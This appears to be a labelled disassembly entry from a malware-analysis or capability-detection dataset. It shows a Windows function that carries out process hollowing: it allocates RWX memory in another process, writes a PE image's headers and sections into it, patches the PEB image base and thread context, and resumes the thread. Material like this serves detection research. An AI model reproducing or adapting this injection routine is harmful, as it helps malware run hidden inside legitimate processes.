Function at 0x140008741
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbp
push rdi
sub rsp, 0x348
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2e0], rcx
mov qword [rbp + 0x2e8], rdx
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2b0]
add rax, rdx
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0x34]
mov eax, eax
mov rdx, rax
mov rax, qword [rbp + 0x2e0]
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2a0], rax
cmp qword [rbp + 0x2a0], 0
jne 0x1400087f8
lea rax, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008b10
mov rax, qword [rbp + 0x2a0]
mov rdx, rax
lea rax, str.___Memory_allocate_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x2e0]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x2e8]
mov rdx, qword [rbp + 0x2a0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x29c], eax
cmp dword [rbp + 0x29c], 0
jne 0x140008879
lea rax, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008b10
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0x34]
mov eax, eax
mov rdx, rax
lea rax, str.___Headers_write_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp + 0x2bc], 0
jmp 0x1400089b6
mov rax, qword [rbp + 0x2a8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2a8]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0x2bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x288]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x2e8]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x288]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2e0]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0
jne 0x14000897a
mov rax, qword [rbp + 0x288]
mov rdx, rax
lea rax, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008b10
mov rax, qword [rbp + 0x288]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x288]
mov r8, rdx
mov rdx, rax
lea rax, str.___Section__s_write_at_:_0x_p._n
mov rcx, rax
call sym.printf_char_const__::_
add dword [rbp + 0x2bc], 1
mov rax, qword [rbp + 0x2a8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2bc], eax
jl 0x1400088a6
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x59
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov dword [rbp - 0x50], 0x10000b
mov rax, qword [rbp + 0x2e0]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
call rax
mov dword [rbp + 0x298], eax
cmp dword [rbp + 0x298], 0
jne 0x140008a37
lea rax, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008b10
mov rax, qword [rbp + 0x2a8]
lea rdx, [rax + 0x34]
mov eax, dword [rbp + 0x54]
mov eax, eax
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x2e0]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x294], eax
cmp dword [rbp + 0x294], 0
jne 0x140008a9e
lea rax, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008b10
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0x28]
mov rdx, qword [rbp + 0x2a0]
add eax, edx
mov dword [rbp + 0x60], eax
mov rax, qword [rbp + 0x2e0]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
call rax
mov dword [rbp + 0x290], eax
cmp dword [rbp + 0x290], 0
jne 0x140008af4
lea rax, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008b10
mov rax, qword [rbp + 0x2e0]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 1
add rsp, 0x348
pop rdi
pop rbp
ret